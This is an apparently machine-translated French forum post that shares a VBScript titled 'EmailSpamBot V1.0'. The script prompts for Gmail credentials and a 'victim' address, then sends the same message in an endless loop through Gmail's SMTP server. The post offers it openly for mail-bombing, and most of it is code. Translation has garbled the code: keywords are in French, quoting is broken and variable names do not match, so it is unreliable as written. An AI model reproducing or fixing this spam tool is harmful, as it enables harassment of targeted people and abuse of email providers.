C’est ici
Il suffit de copier coller dans le bloc-notes enregistrer sous anything.vbs, où tout est n’importe quel nom vous voulez.
Si vous utilisez hotmail juste trouver le smtp.gmail.com de marqués de lignes et changer pour celui de hotmail ou que ce soit celui que vous utilisez.
Dim utilisateur
Dim Pass
Dim Name
Dim Input
Dim Input2
Dim Input3
X = MsgBox ("Bienvenue. Pour vous connecter s’il vous plaît cliquez sur OK et entrez votre G-mail & le passage ", 0,"EmailSpamBot V1.0")
Utilisateur = InputBox ("Entrez votre G-mail:")
Passer = InputBox ("entrez le mot de passe:" & + "\n" & "" & + "\n" & « s’il vous plaît noter les mots de passe ne sont pas stockées dans ce script et respectent la casse. »)
Nom = InputBox ("entrez le nom:")
Entrée = InputBox ("Entrez votre adresse e-mail de la victime:")
INPUT2 = InputBox ("entrez le titre:")
Input3 = InputBox ("Enter message:")
EmailSubject = ("" & Input2)
EmailBody = ("" & Input3)
"Const EmailFrom =" "
"Const EmailFromName =" "
SMTPServer const = « smtp.gmail.com »
"Const SMTPLogon =" "
"Const SMTPPassword =" "
Const RECVSSL = True
Const SMTPPort = 465
Const cdoSendUsingPickup = 1 ' Envoyer un message à l’aide du répertoire de collecte service SMTP local.
Const cdoSendUsingPort = 2 ' envoyer le message via le protocole SMTP sur le réseau TCP/IP.
Const cdoAnonymous ne = 0' aucune authentification
Const cdoBasic = 1' clair BASIC authentification en texte
Const cdoNTLM = 2' NTLM, l’authentification propriétaire Microsoft
« Tout d’abord, créer le message
Set objMessage = CreateObject ("CDO. Message")
objMessage.Subject = EmailSubject
objMessage.From = "<" & User & nom & ">"
objMessage.To = "<" & entrée & ">"
objMessage.TextBody = EmailBody
"Deuxièmement, configurer le serveur
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserver") = SMTPServer
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = cdoBasic
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusername") = User
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Pass
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = SMTPPort
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = RECVSSL
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
objMessage.Configuration.Fields.Update
faire
objMessage.Send
boucle
n’hésitez pas à laisser des commentaires en me disant ce que vous pensez, ce qu’il faut améliorer ect.
